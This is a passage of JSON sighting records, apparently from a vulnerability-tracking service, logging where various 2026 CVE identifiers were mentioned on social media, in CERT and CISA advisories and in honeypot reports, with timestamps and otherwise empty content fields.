"2026-02-12T05:36:34.387838Z"}, {"uuid": "f00c48d2-c423-44bb-b462-a730b8761495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2024", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116072056898839948", "content": "", "creation_timestamp": "2026-02-15T01:30:33.511566Z"}, {"uuid": "c4a5e899-e265-4eb3-944c-36cf96faead6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mgcr5jawyk2x", "content": "", "creation_timestamp": "2026-03-05T12:07:17.611365Z"}, {"uuid": "97a01469-96aa-44c5-b667-4a272621eead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2020", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mghf5pqwit2k", "content": "", "creation_timestamp": "2026-03-07T08:15:56.572509Z"}, {"uuid": "df40cd0e-3d5c-43ec-9018-2c6f8c7e2e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20820", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mgifinbn7z2d", "content": "", "creation_timestamp": "2026-03-07T17:54:42.225122Z"}, {"uuid": "a78aa9ac-cc84-4b01-956d-5a451b35ac43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-08)", "content": "", "creation_timestamp": "2026-03-08T00:00:00.000000Z"}, {"uuid": "1b7019f1-b4aa-48a2-abb6-35cbb9757408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20675", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116056090493063223", "content": "", "creation_timestamp": "2026-02-12T05:50:04.631081Z"}, {"uuid": "23cd707a-575a-4cfe-ad0d-3ad528f7a634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2024", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3meuf6hoxys2a", "content": "", "creation_timestamp": "2026-02-15T01:30:35.025592Z"}, {"uuid": "90e5a40b-f385-48c7-8a68-50f9c8f69e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/manualdousuario.net/post/3melfvaxkcw2w", "content": "", "creation_timestamp": "2026-02-11T11:49:21.652035Z"}, {"uuid": "1fafaf61-e277-4922-9fd5-a64c9c1cfcbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2071", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meaaoa2evi25", "content": "", "creation_timestamp": "2026-02-07T01:16:40.900673Z"}, {"uuid": "5d851954-ca0a-4aef-a080-fa9104004dfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3melfz27gah2q", "content": "", "creation_timestamp": "2026-02-11T11:51:29.048616Z"}, {"uuid": "738341f1-a8fb-4f40-98c3-6b482a0bbe51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/thezdi.bsky.social/post/3mfajw3kwos2c", "content": "", "creation_timestamp": "2026-02-19T21:27:21.626264Z"}, {"uuid": "a3811cf8-bd23-49e8-9f71-50201e7cfdcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3melgdun4sl2t", "content": "", "creation_timestamp": "2026-02-11T11:57:32.438194Z"}, {"uuid": "18be428a-b036-41f2-8dd2-c9634a7d3630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20841", "type": "seen", "source": "https://infosec.exchange/users/thezdi/statuses/116099412434024703", "content": "", "creation_timestamp": "2026-02-19T21:27:25.214310Z"}, {"uuid": "f220dc96-6f9d-4303-ac2b-127c2bdd926b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hn.rbrt.fr/post/3melgi5sg222i", "content": "", "creation_timestamp": "2026-02-11T11:59:55.946363Z"}, {"uuid": "d62ecc01-a265-4272-8bf0-8785e29896a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116176712536306162", "content": "", "creation_timestamp": "2026-03-05T13:05:50.923507Z"}, {"uuid": "19cecc78-db65-4c00-8e26-d7061b7cb661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/tauruscoder.bsky.social/post/3melgjif4t42m", "content": "", "creation_timestamp": "2026-02-11T12:00:40.661310Z"}, {"uuid": "5daa6d07-3a59-4131-9427-ec1dce68213d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20748", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-08", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "16dfb9b4-1b32-4a58-a56c-cedcdc10d4ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mgcuh55ql22x", "content": "", "creation_timestamp": "2026-03-05T13:06:23.394850Z"}, {"uuid": "eba6bf54-90f1-4df3-a6c1-826263e14ac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mfrgvxpbk7s2", "content": "", "creation_timestamp": "2026-02-26T14:48:56.747719Z"}, {"uuid": "b6996ef4-ab4d-4746-8152-aff8f9fbf7ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0071", "content": "", "creation_timestamp": "2026-03-06T11:07:02.000000Z"}, {"uuid": "ed87dfd4-6ae3-4d9a-b9f2-adcf2260abf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mgik6iv3ac23", "content": "", "creation_timestamp": "2026-03-07T19:18:31.561673Z"}, {"uuid": "c08f9fbf-3e7a-4ded-9733-60e7e52a13ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-09)", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "4ec1fd7d-eafe-4a82-a3ec-bf4baaa7af25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0071", "content": "", "creation_timestamp": "2026-03-06T11:07:02.000000Z"}, {"uuid": "b0dac8c4-eab9-4eb6-a220-e595cef65a30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20929", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mdtl6ksxi52h", "content": "", "creation_timestamp": "2026-02-02T00:20:08.923152Z"}, {"uuid": "206ea7a7-e765-402a-a740-a6d9a3ad12de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://gist.github.com/alon710/1a466249b18c499a9f99c0d11a3e0693", "content": "", "creation_timestamp": "2026-02-11T12:10:06.000000Z"}, {"uuid": "5ed0b87c-c9f6-4b5e-a271-5960bb32d5d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meuigdepys2w", "content": "", "creation_timestamp": "2026-02-15T02:28:41.534576Z"}, {"uuid": "afbf9c8e-070a-4c89-b78d-6485cab6d9ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/newsanalysis.com/post/3mfpz5bsqer2d", "content": "", "creation_timestamp": "2026-02-26T01:09:42.805803Z"}, {"uuid": "60a9bf52-a85f-49ad-9ddc-4aa0605d554a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3melh3fit7a25", "content": "", "creation_timestamp": "2026-02-11T12:10:42.092692Z"}, {"uuid": "56f908ee-2d8f-45ca-9950-f691b84751e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2003", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3meqrrhko4d2m", "content": "", "creation_timestamp": "2026-02-13T15:05:17.735119Z"}, {"uuid": "e8228d30-0ae6-44cd-b380-ab569965d1ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3meqrrhko4d2m", "content": "", "creation_timestamp": "2026-02-13T15:05:17.905488Z"}, {"uuid": "43287879-ec1e-41b1-939c-198936124ec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2007", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3meqrrhko4d2m", "content": "", "creation_timestamp": "2026-02-13T15:05:18.053053Z"}, {"uuid": "31d2e858-8b5b-4fd7-bb2c-6b5d6bb70757", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3meuigo3n6j2s", "content": "", "creation_timestamp": "2026-02-15T02:28:50.624946Z"}, {"uuid": "79c30084-0272-46be-b52f-0e114c840fc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mgik6iv3ac23", "content": "", "creation_timestamp": "2026-03-07T19:18:31.651650Z"}, {"uuid": "4136e8e2-2a07-4577-b236-a55d6da2e0a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/topickapp.bsky.social/post/3meneirgjnt22", "content": "", "creation_timestamp": "2026-02-12T06:29:48.765520Z"}, {"uuid": "4de9fe23-25a2-462d-8201-28078cb5ce9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2004", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3meqrrhko4d2m", "content": "", "creation_timestamp": "2026-02-13T15:05:17.827938Z"}, {"uuid": "43a0dc4e-5d09-4eb8-97ef-d5ed28aa53de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3meqrrhko4d2m", "content": "", "creation_timestamp": "2026-02-13T15:05:17.983464Z"}, {"uuid": "c3a31b7c-94ce-4107-8613-ff0b0473e0b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3meuigo3n6j2s", "content": "", "creation_timestamp": "2026-02-15T02:28:50.708121Z"}, {"uuid": "96c9e9c5-8ee7-4e2d-975e-6a8222ce15ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20882", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-06", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "30d65e29-51bf-4d16-a098-cbedb0c88553", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3menfmt6dvb2x", "content": "", "creation_timestamp": "2026-02-12T06:49:58.629635Z"}, {"uuid": "51ffee8f-cebd-4b85-a80e-d366ab0a3a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20658", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meqsbet57d2a", "content": "", "creation_timestamp": "2026-02-13T15:14:12.109036Z"}, {"uuid": "48f62cfa-5717-477b-ae34-1ca5b1a34f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meuisa3hns2w", "content": "", "creation_timestamp": "2026-02-15T02:35:20.010390Z"}, {"uuid": "2c349307-795c-4b52-bc45-b44395620937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2037", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfo7mi52bn2q", "content": "", "creation_timestamp": "2026-02-25T08:00:16.225340Z"}, {"uuid": "23401927-756c-4d38-9159-dcaef353847c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/techimo.bsky.social/post/3mfuxyepd3u2e", "content": "", "creation_timestamp": "2026-02-28T00:32:23.284501Z"}, {"uuid": "50b76359-2e6d-4c28-ab32-f68a33f972ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mgcwpkdrnqh2", "content": "", "creation_timestamp": "2026-03-05T13:46:57.040505Z"}, {"uuid": "fe3bc775-f965-4248-91a6-00f086b44295", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20649", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meqsbldfte25", "content": "", "creation_timestamp": "2026-02-13T15:14:18.707840Z"}, {"uuid": "d1b3644b-a679-42f7-be29-422bd4080134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20841", "type": "seen", "source": "https://bsky.app/profile/timb-machine.infosec.exchange.ap.brid.gy/post/3mfaotcauv3m2", "content": "", "creation_timestamp": "2026-02-19T22:55:34.687888Z"}, {"uuid": "6777bd44-b457-4274-908d-2ab3643cb075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/guardian360.bsky.social/post/3mfrkvllqxh2n", "content": "", "creation_timestamp": "2026-02-26T16:00:11.653994Z"}, {"uuid": "a622ba37-f58f-49a0-ac73-1954d02f3be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://www.thezdi.com/blog/2026/2/19/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad", "content": "", "creation_timestamp": "2026-02-19T20:24:50.000000Z"}, {"uuid": "004d3e5b-99ac-4fb1-84cc-ccb76789aa56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pa3weg.mastodon.social.ap.brid.gy/post/3meljbmf34v42", "content": "", "creation_timestamp": "2026-02-11T12:49:59.145522Z"}, {"uuid": "1d20cd86-c462-4155-a6c1-b3c1edb3edd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116059677137301631", "content": "", "creation_timestamp": "2026-02-12T21:02:14.028167Z"}, {"uuid": "6b0245c1-1a37-449c-ae82-3bf2e58fa382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovcbj6jr2c", "content": "", "creation_timestamp": "2026-02-12T21:03:04.148410Z"}, {"uuid": "a06402dc-e0b0-47ca-9575-cc52b5c123e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "c6b5db65-a976-462c-89ae-8c91f7f80b90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/mjlmo.vivaldi.net.ap.brid.gy/post/3meqsvdhxijc2", "content": "", "creation_timestamp": "2026-02-13T15:25:29.154227Z"}, {"uuid": "3e19c6b1-986d-4373-b116-cf0ef9acf7c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "25fdb1ac-13ea-4e30-b304-c2db855755ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20082", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "d25150ee-df7b-4e6f-9c0d-766765db12d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/hack4career.com/post/3mgfjdl24bc25", "content": "", "creation_timestamp": "2026-03-06T14:25:27.962008Z"}, {"uuid": "65c959a4-b660-4ee8-a40c-660145005cd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20039", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "cbb7ac3a-25db-4ce7-a844-2ead19d5dde8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/hack4career.com/post/3mgfjdl24bc25", "content": "", "creation_timestamp": "2026-03-06T14:25:28.093813Z"}, {"uuid": "3f0c9a7d-202b-4825-b7d7-5bc7d38b5e27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20100", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "95077e2b-cf73-4f16-8aef-12acb9335fcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20101", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "4d1308c7-0d65-4406-a48f-c504c177fc2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/lrosa.mastodon.uno.ap.brid.gy/post/3melkpv5xvcy2", "content": "", "creation_timestamp": "2026-02-11T13:15:56.586099Z"}, {"uuid": "e8d7ad0b-4e6d-4ea2-a7ab-93c7007f89b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20103", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "934e0ce2-e692-40fd-bcbf-b31edebbd082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2041", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfmdbbgi7c2x", "content": "", "creation_timestamp": "2026-02-24T14:00:14.835663Z"}, {"uuid": "0edc1a38-ec51-4947-afc1-353489cf244b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/talosintelligence.com/post/3mfrnmxo33n2s", "content": "", "creation_timestamp": "2026-02-26T16:49:06.310991Z"}, {"uuid": "0944c37a-cf65-4bcd-9d71-7d54a0160ec3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20105", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "a1bf325c-16cf-4209-9444-1ce5a4746719", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/betterhn300.e-work.xyz/post/3mellcy45or2y", "content": "", "creation_timestamp": "2026-02-11T13:26:30.894783Z"}, {"uuid": "b5fddbc2-538a-4f01-aceb-ca2f193efe47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3meqxggibmt2j", "content": "", "creation_timestamp": "2026-02-13T16:46:30.340801Z"}, {"uuid": "980ab38d-42bf-4d0c-a7a6-80270864fb4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mfrnsijd5me2", "content": "", "creation_timestamp": "2026-02-26T16:52:12.807407Z"}, {"uuid": "93eaa822-f1e5-4004-9c06-0ba4e121871b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20106", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "666f502a-9748-47b6-b4a3-800ae862d31f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2033", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-105/", "content": "", "creation_timestamp": "2026-02-13T05:00:00.000000Z"}, {"uuid": "0dd6a744-7394-4b31-9bf8-ae810f726310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2034", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-104/", "content": "", "creation_timestamp": "2026-02-13T05:00:00.000000Z"}, {"uuid": "b94e88c1-8653-4067-9cb1-6428a384dc40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2043", "type": "seen", "source": 